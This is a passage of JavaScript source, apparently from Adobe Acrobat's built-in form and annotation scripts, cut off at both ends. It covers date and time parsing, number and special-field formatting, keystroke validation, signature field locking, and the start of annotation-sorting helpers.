
			/* We have one number and two slots (y/d) and need to allocate

			** them based on who came first in the format. */

			if(cOrder.indexOf("y") < cOrder.indexOf("d")) {

				nYear = 1.0 * aNums[0];

				if ((nYCount > 2 && nYear < 100) /* must enter 4 digits for the year to match with the format of the field */

					|| nYear > 9999)

					return null; 

			

				nYear = AFDateHorizon(nYear);

				dDate = AFDateFromYMD(nYear, nMonth - 1, 1);

			} else {

				nYear = dDate.getFullYear();

				dDate = AFDateFromYMD(nYear, nMonth - 1, aNums[0]);

			}

			if (info)

				dDate = AFParseTime(info[1], date);

			else if (dDate)

				dDate.setHours(0, 0, 0);

			return dDate;

		}



		/* We have one number and three slots and need to allocate them

		** based on who came first in the format. */

		// transcribe the format exactly.  There should be a one to one correspondence.

		if (cFormat.length != cString.length)

			return null;



		nYear = "";

		nMonth = "";

		nDate = "";



		for (var i = 0; i < cFormat.length; i++) {

			switch (cFormat.charAt(i)) {

				case "\\":	/* Escape character. */

					i++;

					break;

				case "y":

					nYear += cString.charAt(i);

					break;

				case "m":

					nMonth += cString.charAt(i);

					break;

				case "d":

					nDate += cString.charAt(i);

					break;

			}

		}

		

		nYear *= 1.0;

		nMonth *= 1.0;

		nDate *= 1.0

		

		if(nMonth)

			nMonth -= 1.0;  // Month range is [0-11]

		

		if(!nDate)

			nDate += 1.0;   // Date range is [1-31]



		if ((nYCount > 2 && nYear < 100) /* must enter 4 digits for the year to match with the format of the field */

			|| nYear > 9999)

			return null; 

		

		nYear = AFDateHorizon(nYear);



		dDate = AFDateFromYMD(nYear, nMonth, nDate);



		if (info)

			dDate = AFParseTime(info[1], date);

		else if (dDate)

			dDate.setHours(0, 0, 0);

		return dDate;

	}



	/* No idea how to deal with the other combinations. */

	return null;

}



function AFDateHorizon(nYear)

{	/* Takes the year supplied and applies the date horizon heuristic.

	** All years between 50 and 100 we add 1900. All years less than 50 we add 2000. */

	if (nYear < 100 && nYear >= 50) {

		nYear += 1900;

	} else if (nYear >= 0 && nYear < 50) {

		nYear += 2000;

	}



	return nYear;

}



function AFParseDate(string, longEntry, shortEntry, wordMonthEntry, monthYearEntry)

{	/* OBSOLETE: Use AFParseDateEx instead. */

	var nums;

	var year, month;

	var date;

	var info = AFExtractTime(string);



	if(!string) return new Date();



	if(info)

		string = info[0];



	date = new Date();

	nums = AFExtractNums(string);

	if(!nums) return null;

	if(nums.length == 3)

	{

		year = 1.0 * nums[eval(longEntry.charAt(0))];

		year = AFDateHorizon(year);

		date = AFDateFromYMD(year, nums[eval(longEntry.charAt(1))] - 1, nums[eval(longEntry.charAt(2))]);

		if (info)

			date = AFParseTime(info[1], date);

		return date;

	}

	month = AFMatchMonth(string);

	if(nums.length == 2)

	{

		if(month)

		{

			year = 1.0 * nums[eval(wordMonthEntry.charAt(0))];

			year = AFDateHorizon(year);

			date = AFDateFromYMD(year, month - 1, nums[eval(wordMonthEntry.charAt(1))]);

			if (info)

				date = AFParseTime(info[1], date);

			return date;

		}

		if(monthYearEntry)

		{

			year = 1.0 * nums[eval(monthYearEntry.charAt(0))];

			year = AFDateHorizon(year);

			date = AFDateFromYMD(year, nums[eval(monthYearEntry.charAt(1))] - 1, 1);

		}

		else

			date = AFDateFromYMD(date.getFullYear(),

				nums[eval(shortEntry.charAt(0))] - 1,

				nums[eval(shortEntry.charAt(1))]);

		if (info)

			date = AFParseTime(info[1], date);

		return date;

	}

	if(month && nums.length == 1)

	{

		if(monthYearEntry)

		{

			year = 1.0 * nums[0];

			year = AFDateHorizon(year);

			date = AFDateFromYMD(year, month - 1, 1);

		}

		else

			date = AFDateFromYMD(date.getFullYear(), month - 1,	nums[0]);

		if (info)

			date = AFParseTime(info[1], date);

		return date;

	}



	return null;

}



function AFParseDateWithPDF(value, pdf)

{ /* OBSOLETE: Use AFParseDateEx instead. */

	var cOldFormats = new Array(

		"m/d", "m/d/yy", "mm/dd/yy", "mm/yy", "d-mmm", "d-mmm-yy", "dd-mmm-yy",

		"yy-mm-dd", "mmm-yy", "mmmm-yy", "mmm d, yyyy", "mmmm d, yyyy",

		"m/d/yy h:MM tt", "m/d/yy HH:MM" );

   

	return AFParseDateEx(value, cOldFormats[pdf]);

}



function AFMergeChange(event)

{	/* merges the last change with the uncommitted change */

	var prefix, postfix;

	var value = event.value;



	if(event.willCommit) return event.value;

	if(event.selStart >= 0)

		prefix = value.substring(0, event.selStart);

	else prefix = "";

	if(event.selEnd >= 0 && event.selEnd <= value.length)

		postfix = value.substring(event.selEnd, value.length);

	else postfix = "";

	return prefix + event.change + postfix;

}



function AFRange_Validate(bGreaterThan, nGreaterThan, bLessThan, nLessThan)

{       /* This function validates the current event to ensure that its value is 

	** within the specified range. */

	var cError = "";



	if (event.value == "")

		return;



	if (bGreaterThan && bLessThan) {

		if (event.value < nGreaterThan || event.value > nLessThan)

			cError = util.printf(EScriptString.IDS_GT_AND_LT, nGreaterThan, nLessThan);

	} else if (bGreaterThan) {

		if (event.value < nGreaterThan)

			cError = util.printf(EScriptString.IDS_GREATER_THAN, nGreaterThan);

	} else if (bLessThan) {

		if (event.value > nLessThan)

			cError = util.printf(EScriptString.IDS_LESS_THAN, nLessThan);

	}

	

	if (cError != "") {

		if (!event.silenceErrors)

			app.alert(cError, 0);

		event.rc = false;

	}

}



function AFSimpleInit(cFunction)

{	/* Convenience function used by AFSimple_Calculate. */

	switch (cFunction)

	{

		case "PRD":

			return 1.0;

			break;

	}



	return 0.0;

}



function AFSimple(cFunction, nValue1, nValue2)

{	/* Convenience function used by AFSimple_Calculate. */

	var nValue = 1.0 * nValue1;



	/* Have to do this otherwise JavaScript thinks it's dealing with strings. */

	nValue1 = 1.0 * nValue1;

	nValue2 = 1.0 * nValue2;



	switch (cFunction)

	{

		case "AVG":

		case "SUM":

			nValue = nValue1 + nValue2;

			break;

		case "PRD":

			nValue = nValue1 * nValue2;

			break;

		case "MIN":

			nValue = Math.min(nValue1,nValue2);

			break;

		case "MAX":

			nValue = Math.max(nValue1, nValue2);

			break;

	}



	return nValue;

}



function AFSimple_Calculate(cFunction, cFields)

{   /* Calculates the sum, average, product, etc. of the listed field values. */

	var nFields = 0;

	var nValue = AFSimpleInit(cFunction);



	/* Field name separator is one or more spaces followed by a comma, 

	** followed by one or more spaces.

	** or an array of field names */

 	var aFields = AFMakeArrayFromList(cFields);



	for (var i = 0; i < aFields.length; i++) {

		/* Found a field, process it's value. */

		var f = this.getField(aFields[i]);

		var a = f.getArray();



		for (var j = 0; j < a.length; j++) {

			var nTemp = AFMakeNumber(a[j].value); 

			if (i == 0 && j == 0 && (cFunction == "MIN" || cFunction == "MAX"))

				nValue = nTemp;

			nValue = AFSimple(cFunction, nValue, nTemp);

			nFields++;

		}

	}



	if (cFunction == "AVG" && nFields > 0)

		nValue /= nFields;



	// make sure that the value we put out is actually sane.  Sometimes because

	// of rounding issues and the binary to decimal conversion we get tiny exponential 

	// numbers, ex 1.0-.99-.01 will return 8.673617379884035e-18

	// I chose toFixed(6) since after 6, js starts using the 1.0e-7 notation



	if( cFunction == "AVG" || cFunction == "SUM" || cFunction == "PRD" )

		nValue = nValue.toFixed(6) *1.0; 



	event.value = nValue;

}



function AFNumber_Keystroke(nDec, sepStyle, negStyle, currStyle, strCurrency, bCurrencyPrepend)

{       /* This function validates the current keystroke event to make sure the

		key pressed is reasonable for a numeric field. */



	var value = AFMergeChange(event);

	var commit, noCommit;



	if(!value) return;

	if(sepStyle > 1)

	{

		commit = AFNumberCommaSepCommitRegExp;

		noCommit = AFNumberCommaSepEntryRegExp;

	}

	else

	{

		commit = AFNumberDotSepCommitRegExp;

		noCommit = AFNumberDotSepEntryRegExp;

	}

	if(!AFExactMatch(event.willCommit ? commit : noCommit, value))

	{

		if (event.willCommit && !event.silenceErrors) {

			var cAlert = EScriptString.IDS_INVALID_VALUE;

			if (event.target != null)

				cAlert += " [ " + event.target.name + " ]";

			app.alert(cAlert);

		}

		else

			app.beep(0);

		event.rc = false;

	}



	if (event.willCommit && sepStyle > 1)

	{

		// convert from a string to a number 

		strval = event.value;

		commas = new RegExp();

		commas.compile(",");



		strval = strval.replace(commas, ".");

		event.value = strval *1.0;

	} 

}



function AFPercent_Keystroke(nDec, sepStyle)

{

		AFNumber_Keystroke(nDec, sepStyle, 0, 0, "", true);

}



function isNumber(ch)

{

	return (ch >= "0" && ch <= "9");

}



function isAlphabetic(ch)

{

	return ((ch >= "a" && ch <= "z") ||

              (ch >= "A" && ch <= "Z"));

}



function isAlphaNumeric(ch)

{

	return (isNumber(ch) || isAlphabetic(ch));

}



function isReservedMaskChar(ch)

{

	return (ch == '9' || ch == 'X' || ch == 'A' || ch == 'O');

}



function maskSatisfied(vChar, mChar)

{

    switch(mChar)

    {

        case "9":

            return isNumber(vChar);



        case "A":

            return isAlphabetic(vChar);



        case "O":

            return isAlphaNumeric(vChar);



        case "X":

            return true;



        default:

            return (vChar == mChar);

    }

}



function indexOfNextEssential(mask, startIndex)

{

	for(var i = startIndex; i < mask.length; i++)

	{

		if(isReservedMaskChar(mask.charAt(i)))

			return i;

	}

	return -1;

}



function AFSpecial_KeystrokeEx(mask)

{

    var value = AFMergeChange(event);

    

    if(!value || !mask.length)

    	return;

    		

	var cAlert = EScriptString.IDS_INVALID_VALUE + ' = "' + mask + '"';



    if(event.willCommit)

    {

		if(indexOfNextEssential(mask, value.length) != -1)

		{

			if (!event.silenceErrors)

				app.alert(cAlert);

				

			event.rc = false;

			return;

		}

		else {

			event.value = event.value + mask.substring(value.length, mask.length);

			return;

		}

    }



	var nMaskIndex = 0;

	var nValueIndex = 0;

	

	var nOffset = 0;  // number of characters we've added to change to make it legal

	var nChangeStart = event.selStart;	

	

    while(nValueIndex < value.length)

    {

        var mChar = mask.charAt(nMaskIndex);

        var vChar = value.charAt(nValueIndex);



        if(!maskSatisfied(vChar, mChar)) 

        {

        	var nextEssential = indexOfNextEssential(mask, nMaskIndex);

        	var nChangeEnd = event.selStart + event.change.length + nOffset;

        	

			if(((nMaskIndex < mask.length) && !isReservedMaskChar(mChar)) && 

				(nextEssential != -1) && maskSatisfied(vChar, mask.charAt(nextEssential)) &&

				( (nValueIndex + nOffset) >= nChangeStart) && ( (nValueIndex + nOffset) <= nChangeEnd) ) // we can only modify values w/in the change range

			{

				var maskSubstring = mask.substring(nMaskIndex, nextEssential);

				

				event.change = event.change.substring(0, nValueIndex + nOffset - nChangeStart) + maskSubstring + event.change.substring(nValueIndex + nOffset - nChangeStart)



				nOffset = nOffset + maskSubstring.length;

				nMaskIndex = nextEssential;

			}

			else

			{

				if (!event.silenceErrors)

					app.alert(cAlert);

					

				event.rc = false;

				

				return;

			}

        }

        

        nValueIndex++;

        nMaskIndex++;

    }

}







function AFSpecial_Keystroke(psf)

{       /* This function validates the current keystroke event to make sure the

		key pressed is reasonable for a "special" field. */

		

	/* The special formats, indicated by psf, are:

	

	psf             format

	---             ------

	0               zip code

	1               zip + 4

	2               phone

	3				SSN

	

	*/



	var value = AFMergeChange(event);

	var commit, noCommit;



	if(!value) return;

	switch (psf)

	{

		case 0:

			commit = AFZipCommitRegExp;

			noCommit = AFZipEntryRegExp;

			break;

		case 1:

			commit = AFZip4CommitRegExp;

			noCommit = AFZip4EntryRegExp;

			break;

		case 2:

			commit = AFPhoneCommitRegExp;

			noCommit = AFPhoneEntryRegExp;

			break;

		case 3:

			commit = AFSSNCommitRegExp;

			noCommit = AFSSNEntryRegExp;

			break;

	}		

	if(!AFExactMatch(event.willCommit ? commit : noCommit, value))

	{

		if (event.willCommit && !event.silenceErrors) {

			var cAlert = EScriptString.IDS_INVALID_VALUE;

			if (event.target != null)

				cAlert += " [ " + event.target.name + " ]";

			app.alert(cAlert);

		}

		else

			app.beep(0);

		event.rc = false;

	}

}



function AFDate_KeystrokeEx(cFormat)

{	/* This function validates the current keystroke event to make sure the

	** key pressed is reasonable for a date field. */

	if(event.willCommit && !AFParseDateEx(AFMergeChange(event), cFormat)) {

		/* Dates are only validated on commit */

		if (event.willCommit && !event.silenceErrors) {

			var cAlert = EScriptString.IDS_INVALID_DATE;

			var cAlert2 = EScriptString.IDS_INVALID_DATE2;

			if (event.target != null)

				cAlert += "[ " + event.target.name + " ]";

				cAlert += cAlert2 + cFormat;

			app.alert(cAlert);

		}

		else

			app.beep(0);

		event.rc = false;

	}

}



function AFDate_Keystroke(pdf)

{	/* OBSOLETE: Use AFDate_KeystrokeEx. */

	var cOldFormats = new Array(

		"m/d", "m/d/yy", "mm/dd/yy", "mm/yy", "d-mmm", "d-mmm-yy", "dd-mmm-yy",

		"yy-mm-dd", "mmm-yy", "mmmm-yy", "mmm d, yyyy", "mmmm d, yyyy",

		"m/d/yy h:MM tt", "m/d/yy HH:MM" );



	AFDate_KeystrokeEx(cOldFormats[pdf]);

}



function AFTime_Keystroke(ptf)

{	/* This function validates the current keystroke event to make sure the

	key pressed is reasonable for a time field. */



	if(event.willCommit && !AFParseTime(event.value, null))

					/* times are only validated on commit */

	{

		if (event.willCommit && !event.silenceErrors) {

			var cAlert = EScriptString.IDS_INVALID_VALUE;

			if (event.target != null)

				cAlert += " [ " + event.target.name + " ]";

			app.alert(cAlert);

		}

		else

			app.beep(0);

		event.rc = false;

	}

}



function AFNumber_Format(nDec, sepStyle, negStyle, currStyle, strCurrency, bCurrencyPrepend)

{       /* This function formats a numeric value according to the parameters. */



	var value = AFMakeNumber(event.value);

	var sign = (value < 0 ? -1 : 1);

	var f = event.target;

	var formatStr = "";

	

	if(value == null)

	{

		event.value = "";

		return;

	}

	

	if (negStyle == 1 /* Red */ || negStyle == 3 /* ParensRed */) {

		if (sign > 0 )

			f.textColor = color.black;

		else 

			f.textColor = color.red;

	}

		

	value = new String(util.printf("%," + sepStyle + "." + nDec + "f", value));

	

	if ((negStyle != 0 /* MinusBlack */ || bCurrencyPrepend) && value.substring(0, 1) == '-') {

		value = value.substring(1);

	}



	if (sign < 0 && bCurrencyPrepend && negStyle == 0)

		formatStr = '-'; /* prepend the -ve sign */

		

	if ((negStyle == 2 /* ParensBlack */ || negStyle == 3 /* ParensRed */) && sign < 0)

		formatStr = formatStr + "(";

		

	if (bCurrencyPrepend)

		formatStr = formatStr + strCurrency;

		

	formatStr = formatStr + value;

	

	if (!bCurrencyPrepend)

		formatStr = formatStr + strCurrency;

		

	if ((negStyle == 2 /* ParensBlack */ || negStyle == 3 /* ParensRed */) && sign < 0)

		formatStr = formatStr + ")";	

	

	event.value = formatStr;

}



function AFPercent_Format(nDec, sepStyle, bPercentPrepend)

{       /* This function formats a percentage value according to the parameters. */



	var value = AFMakeNumber(event.value) * 100;

	

	var formatStr = "%," + sepStyle + "." + nDec + "f";

		

	if(value == null)

	{

		event.value = "";

		return;

	}	



	value = util.printf(formatStr, value);

	

	if (bPercentPrepend)

		event.value = "%" + value;

	else

		event.value = value + "%";

}



function AFSpecial_Format(psf)

{   /* This function formats a "special" value according to the "PropsSpecialFormat" parameter psf. */

	/* The special formats, indicated by psf, are: 0 = zip code, 1 = zip + 4, 2 = phone, 3 = SSN. */

	var value = event.value;



	if(!value) return;	

	switch (psf) {

	

		case 0:                         

			var formatStr = "99999";

			break;

		case 1:                         

			var formatStr = "99999-9999";

			break;

		case 2:                         /* must distinguish between 2 styles: with and without area code */

			var NumbersStr = util.printx("9999999999", value);      /* try to suck out 10 numeric chars */

			if (NumbersStr.length >= 10 )

				var formatStr = "(999) 999-9999";

			else 

				var formatStr = "999-9999";

			break;

		case 3:

			var formatStr = "999-99-9999";

			break;

	}

		

	event.value = util.printx(formatStr, value);

}



function AFParseDateYCount(cFormat)

{

	/* Determine the order of the date. */

	var yCount = 0;

	for (var i = 0; i < cFormat.length; i++) {

		switch (cFormat.charAt(i)) {

			case "\\":	/* Escape character. */

				i++;

			break;

			case "y":

				yCount += 1;

			break;

		}

	}

	return yCount;

}



function AFParseDateOrder(cFormat)

{

	/* Determine the order of the date. */

	var cOrder = "";

	var split = "";

	for (var i = 0; i < cFormat.length; i++) {

		switch (cFormat.charAt(i)) {

			case "\\":	/* Escape character. */

				i++;

			break;

			case "m":

				if (cOrder.indexOf("m") == -1)

					cOrder += "m";

			break;

			case "d":

				if (cOrder.indexOf("d") == -1)

					cOrder += "d";

			break;

			case "j":

			case "y":

				if (cOrder.indexOf("y") == -1)

					cOrder += "y";

			break;

			default:

			if(cFormat.charAt(i) != '\0')

				split = cFormat.charAt(i);

				

		}

	}



	/* Make sure we have a full complement of 3 chars. */

	if (cOrder.indexOf("m") == -1)

		cOrder += "m";

	if (cOrder.indexOf("d") == -1)

		cOrder += "d";

	if (cOrder.indexOf("y") == -1)

		cOrder += "y";

	cOrder += split;

	return cOrder;

}



/* This AFParseGMTDateString function parses date string. The string should be in standard GMT format. It parses date string

   using JS date parsing apis.

   @param cGMTDateString: This is a string containing date in standard GMT format that this function tries to parse.

   If it is unable to parse that string or string doesn't contain GMT+ in it then it returs a null object.

   If this function succedess in parsing the date string then it return a valid date object

*/

function AFParseGMTDateString(cGMTDateString) {



    if (!cGMTDateString)

        return null;  //What else can we do with a NULL string;



/* This function specifically parses only the strings containing date in standard GMT offset format. Like the

   one returned by JS new Date call. If this function is getting a date string that doesn't contain GMT offset

   then it simply means that caller doesn't realize what this function is meant for and is calling it for 

   strings that it can't  handle. Return null for such clients 

*/

    if (cGMTDateString.indexOf("GMT+") == -1)

        return null;



/* Ok, now we know that this string has content and also that it contains GMT+ in it. Try to convert it to date 

   object using JS date parsing method. If we succede, return the date object otherwsie we will return null object

*/

    var timeStamp = Date.parse(cGMTDateString);

    if (isNaN(timeStamp) == false) {

        var date = new Date(timeStamp);

        return date;

    }

    else {

    /* We were unable to parse the date string provided to us. return the null date object to reflect this */

        return null;

    }

}





function AFDate_FormatEx(cFormat)

{	/* cFormat is a format string with which the date is to be formatted. */

	if (!event.value) 

		return;	/* Blank fields remain blank */



    if(event.value.indexOf("GMT+") != -1) {

        /* Presence of "GMT+" in date string means that someone has passed a string containing a GMT offset in it. AFParseDateEx is never ever going to handle this date 

        string because it just doesn't understand GMT offset. What it will do infact is that it will take the GMT offset as year or month or date depending on cFormat and do

        some processing. Some exception checks in AFParseDateEx may also return some valid date value but it will never be what caller wanted. For one such scenario,

        see BUG#2592473 where GMT offset was being taken as year and workflow worked fine for almost all cases. But it was failing when GMT offset was zero because a check

        in AFParseDateEx  assumes that year can never be zero and returned a NULL date in that case. I couldn't find anyone else passing a GMT time to this function.

        Now the question is, what will happen if someone else too was passing a GMT offset date string before this if block was added. This AFParseGMTDateString should convert it to a

        proper date and util.printd formats it as per the cFormat string.

        Lastly, the reason I haven't put the other part of code in else is because this if block is added at much later stage to fix BUG#2592473. If someone else was passing a GMT

        offset date string before this if block was added and their workflow was working fine( certainly and fortunately because of some excpetion going in their favor) and this

        Date.parse fails to parse that string, i don't want to break their workflow now.

        */

        var gmtDate = AFParseGMTDateString(event.value);

        

        /* If gmtDate object has value then format that date value as per the cFormat string and return. Otherwise, let the AFParseDateEx

           handle the case as it must be handling it before the fix of BUG#2592473

        */

        if (gmtDate)

        {

          event.value = util.printd(cFormat, gmtDate);

          return;  //We are done so return now

        }

    }



	var date = AFParseDateEx(event.value, cFormat);

	if (!date) {

		event.value = "";

		return;

	}

	

	event.value = util.printd(cFormat, date);

}



function AFDate_Format(pdf)

{	/* OBSOLETE: Use AFDate_FormatEx. */

	var cOldFormats = new Array(

		"m/d", "m/d/yy", "mm/dd/yy", "mm/yy", "d-mmm", "d-mmm-yy", "dd-mmm-yy",

		"yy-mm-dd", "mmm-yy", "mmmm-yy", "mmm d, yyyy", "mmmm d, yyyy",

		"m/d/yy h:MM tt", "m/d/yy HH:MM" );



	AFDate_FormatEx(cOldFormats[pdf]);

}



function AFTime_Format(ptf)

{	/* This function formats a time value according to the "PropsTimeFormat" parameter ptf.

	** The time formats, indicated by ptf, are:

	** ptf             format                                                          

	** ---             ------                                                          

	** 0               PTF_24HR_MM     [ 14:30      ]

	** 1               PTF_12HR_MM     [ 2:30 PM    ]

	** 2               PTF_24HR_MM_SS  [ 14:30:15   ]

	** 3               PTF_12HR_MM_SS  [ 2:30:15 PM ] */



	if(!event.value) return;	/* Blank fields remain blank */



	var date = AFParseTime(event.value, null);

	if(!date) {

		event.value = "";

		return;

	}



	var cFormats = new Array(

		"HH:MM", "h:MM tt", "HH:MM:ss", "h:MM:ss tt" ); 

	

	event.value = util.printd(cFormats[ptf], date);

}



function AFTime_FormatEx(cFormat)

{

    if(!event.value) return;	/* Blank fields remain blank */



    var date = AFParseTime(event.value, null);

    if(!date) {

        event.value = "";

        return;

    }



    event.value = util.printd(cFormat, date);

}



function AFSignatureLock(doc, cOperation, cFields, bLock)

{	// Locks or unlocks a set of fields according to the specified operation.

	/* Field name separator is one or more spaces followed by a comma, 

	** followed by one or more spaces.

	** or an array of field names */

 	var aFields = AFMakeArrayFromList(cFields);



	/* Three cases: ALL, EXCEPT, THESE for the field name list. */

	if (cOperation != "THESE") {

		for (var i = 0; i < doc.numFields; i++) {

			var f = doc.getField(doc.getNthFieldName(i));

				

			f.readonly = bLock;

		 }

	}

	

	if (cOperation == "EXCEPT")

		/* EXCEPT = ALL(lock) then THESE(unlock) */

		bLock = !bLock;



	if (cOperation == "THESE" || (cOperation == "EXCEPT" && !bLock)) {

		for (var i = 0; i < aFields.length; i++) {

			var f = doc.getField(aFields[i]);

			var a = f.getArray();



			for (var j = 0; j < a.length; j++) {

				a[j].readonly = bLock;

			}

		}

	}

}



function AFSignature_Format(cOperation, cFields)

{	/* This function is invoked at format time but really is used to lock fields

	** in the document. We unlock all the specified fields if the value is

	** null (which means the signature hasn't been applied). */



	var bLock = (event.value != "");



	AFSignatureLock(this, cOperation, cFields, bLock);

}

function AFStringReplace(cString, oRegExp, cReplacement)

{

	return cString.replace(oRegExp, cReplacement);

}





//todo: call the cpp routine in AVLookupWord.cpp which duplicates this functionality

function LookUpWordEnable(country)

{

/* Check a locatization for Look Up Word definition ability.



	Parameters:

		country: 3 character string such as "ENU", describing the country.

*/

	var bEnable = false;



	switch (country)

	{

		case "ENU": /* English */

			bEnable = true;

			break;



		default: /* unsupported country */

			break;

	}



	return bEnable;

}





function LookUpWordDefinitionURL(cWord, country)

{/* Builds a URL for dictionary.com.



	Parameters:

		cWord: word to be defined such as "orthographic"

		country: 3 character string such as "ENU", describing the country.

*/

	var wordStr, url = "";



	switch (country)

	{

		case "ENU": /* English */

		{

			url = "http://www.dictionary.com/cgi-bin/dict.pl?term=";



			wordStr = "";

			for (i=0; i < cWord.length; i++)

				if (cWord.charAt(i) == ' ')

					wordStr = wordStr + '+';

				else

					wordStr = wordStr + cWord.charAt(i);



			url = url + wordStr;

			break;

		}



		default: /* unsupported country */

			break;

	}



	return url;

}



function encryptUsingPolicyForJSObject(pDoc, cPolicyId, aEmailAddresses, oPermissions, bAllowUI)

{/* Encrypt a document using a policy id. This can be used via JSObject. 



	Parameters:

		pDoc: the document to encrypt

		cPolicyId: the policy id to apply (e.g. "KJGWLIYEWI-16a687676")

		aEmailAddresses: an array of email addresses (e.g. ["joe@nonesuch.com", "jimbob@adobe.com"]) *optional*

		oPermissions: an array of permission strings *optional*

		bUI: specifies whether UI is allowed (e.g. true) *optional* default is true



	Returns:

		SecurityPolicyResults generic object

*/

	var results;

	

	/* handle optional bAllowUI */

	var allowUI = true;

	if(bAllowUI != null) {

		allowUI = bAllowUI;

	}

	

	/* handle optional aEmailAddresses */

	if(aEmailAddresses != null) {	

		var users = new Object();

		for(var i = 0; i < aEmailAddresses.length; i++) {

			users[i] = { email: aEmailAddresses[i] };

		}

		var group = new Object();

		group.userEntities = users;

		

		/* handle optional oPermissions */

		if(oPermissions != null) {

			group.permissions = oPermissions;

		}



		results = pDoc.encryptUsingPolicy({oPolicy:{policyId: cPolicyId}, oGroups:[group], bUI:allowUI});

	}

	else {

		results = pDoc.encryptUsingPolicy({oPolicy:{policyId: cPolicyId}, bUI:allowUI});

	}



	return results;	

}



function LoginForGuardian()



{

    var apsHandler = 

        security.getHandler("Adobe.APS", true);

    if(!apsHandler.isLoggedIn)

        return apsHandler.login({bUI: true});

    else

        return true;

}



function RefreshPoliciesForGuardian()



{

        /*var apsHandler = security.getHandler("Adobe.APS", true); 



        apsHandler.login({bUI: true});*/

        var policies = security.getSecurityPolicies(); 

        if(policies)

                return true;

        else

                return false;

}



function AFValidateEmailSyntax(emailAdress)

{

/*

This function validates the syntax of the email for the echo sign form fields

*/

	var regXEmail = new RegExp("^(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\\-+)|([A-Za-z0-9]+\\.+)|([A-Za-z0-9]+\\++))*[A-Za-z0-9]+@((\\w+\\-+)|(\\w+\\.))*\\w{1,63}\\.[a-zA-Z]{2,6}$");

	return regXEmail.test(emailAdress);

}



} catch(e) {

	console.println(e.extMessage);

}



try

{

/* Sort	methods	*/

const ANSB_None =	0;

const ANSB_Page =	1;

const ANSB_Seq = 2;

const ANSB_Author	= 3;

const ANSB_ModDate = 4;

const ANSB_Type =	5;

const ANSB_Subject = 6;



const ANFB_ShouldPrint = 0;

const ANFB_ShouldView	= 1;

const ANFB_ShouldEdit	= 2;

const ANFB_ShouldAppearInPanel = 3;

const ANFB_ShouldSummarize = 4;

const ANFB_ShouldExport =	5;

const ANFB_ShouldCollaborate = 6;

const ANFB_ShouldNone	= 7;



const IPV6Type = 1;

const IPV4Type = 0;



const cTableOddRowColor = "#FFFFFF";

const cTableEvenRowColor = "#F8F8F8";

const cTableHeaderColor = "#E4E4FF";



var myReviewTrackerDebugAlert = function(str)

{

	//narinder - uncomment to turn on debugging

	//app.alert(str);

};



var getFormsString = function(i)

{

    var rval = app.getString({cPlugInName:"Forms", cStringId:i});

    if(rval == "")

	    return "empty:" + i;

    return rval;  

};



if (typeof Collab != "undefined")

{

	/* for debugging */

	function debugExcept(e)

	{

		if((typeof app._DEBUG != "undefined") && app._DEBUG)

		  console.println(e)

	}



	/* Turn every function in an object into a trust propagator */

	ANTrustPropagateAll = app.trustedFunction(function(o)

	{

		app.beginPriv();

		for(var p in o)

		{

			if(typeof o[p] == "function")

				o[p] = app.trustPropagatorFunction(o[p]);

		}

		app.endPriv();

		return o;

	});

	

	function ANClipPrec3(o)

	{

		switch(typeof o)

		{

			case "object":

			for(var k in o)

				o[k] = ANClipPrec3(o[k]);

			return o;

			break;

			case "number":

			return Math.round(o * 1000) / 1000;

			break;

			default:

			return o;

			break;

		}

	}

	

	function CBEncodeMaybeInternalStrings(s)

	{

	    return s.replace(/\$\$\$([a-zA-Z0-9_]+)/g, function (s, id) {

	        return "(AnnotsString." + id + " ? AnnotsString." + id + " : " + AnnotsString[id].toSource() + ")";

	    });

	}

	

	/* Expression that determines whether we can workflow */

	const CBCanDoReviewWorkflowCheckExpr = "(" + function()

	{

		return (app.viewerVersion >= 6 && (!app.viewerType.match(/Reader/))) ||

			(app.viewerVersion >= 7 && (requestPermission(permission.annot, permission.create) == permission.granted));

	}.toSource() + "())";

	

	const CBCanDoWorkflowCheckExprAPR = "(" + function()

	{

		return (app.viewerVersion >= 7 && app.viewerType.match(/Reader/) != null) &&

			(requestPermission(permission.annot, permission.create) == permission.granted);

	}.toSource() + "())";

	

	



	/* Field to	summary	functions by property name */

	const ANsums =

	[

	/* None	*/		function(a){return "*None*";},

	/* Page	*/		function(a){return AnnotsString.IDS_SUM_PAGE1+a.doc.getPageLabel(a.page)+AnnotsString.IDS_SUM_PAGE2;},

	/* Sequence	*/	function(a,	s){return AnnotsString.IDS_SUM_SEQ1+(s ?	s :	a.seqNum)+AnnotsString.IDS_SUM_SEQ2;},

	/* Author */	function(a){return AnnotsString.IDS_SUM_AUTHOR1+a.author+AnnotsString.IDS_SUM_AUTHOR2;},

	/* ModDate */	function(a){

		var	d =	a.modDate; 

		return AnnotsString.IDS_SUM_DATE1+ (d ? util.printd(2, a.modDate) : AnnotsString.IDS_DATE_INDETERMINATE )+AnnotsString.IDS_SUM_DATE2;

		},

	/* Type	*/		function(a){return AnnotsString.IDS_SUM_TYPE1+a.uiType+AnnotsString.IDS_SUM_TYPE2;},

	/* Subject */	function(a){

		var	s =	a.subject;

		return s ? AnnotsString.IDS_SUM_SUBJ1+s+AnnotsString.IDS_SUM_SUBJ2 : "";

		},

	];



    /* Field to	summary	functions by property name in case of custom layout */

	const ANsumsCL =

	[

	/* None	*/		function(a){return "*None*";},

	/* Page	*/		function(a){return AnnotsString.IDS_SUM_PAGE1+a.doc.getPageLabel(a.page)+AnnotsString.IDS_SUM_PAGE2;},

	/* Sequence	*/	function(a,	s){return AnnotsString.IDS_SUM_SEQ1+(s ?	s :	a.seqNum)+AnnotsString.IDS_SUM_SEQ2;},

	/* Author */	function(a){return a.author;},

	/* ModDate */	function(a){

		var	d =	a.modDate; 

		return d ? (AnnotsString.IDS_SUM_DATE1+util.printd(2, a.modDate)+AnnotsString.IDS_SUM_DATE2):"";

		},

	/* Type	*/		function(a){return AnnotsString.IDS_SUM_TYPE1+a.uiType+AnnotsString.IDS_SUM_TYPE2;},

	/* Subject */	function(a){

		var	s =	a.subject;

		return "";

		},

	];



	/* Order of	summary	fields */

	const ANsumorder = [ ANSB_Page, ANSB_Author, ANSB_Subject, ANSB_ModDate ];



	/* binary insertion	into sorted	list */

	function binsert(a,	m)

	{

		var	nStart = 0,	nEnd = a.length	- 1;



		while(nStart < nEnd)

		{

			var	nMid = Math.floor((nStart +	nEnd) /	2);



			if(m.toString()	< a[nMid].toString())

				nEnd = nMid	- 1;

			else

				nStart = nMid +	1;

		}

		if((nStart < a.length) && (m.toString()	>= a[nStart].toString()))

			a.splice(nStart	+ 1, 0,	m);

		else

			a.splice(nStart, 0,	m);

	}



	/* perform a worst case	n log (	n )	sort with status */

	function isort(a, status)

	{

		var	i;

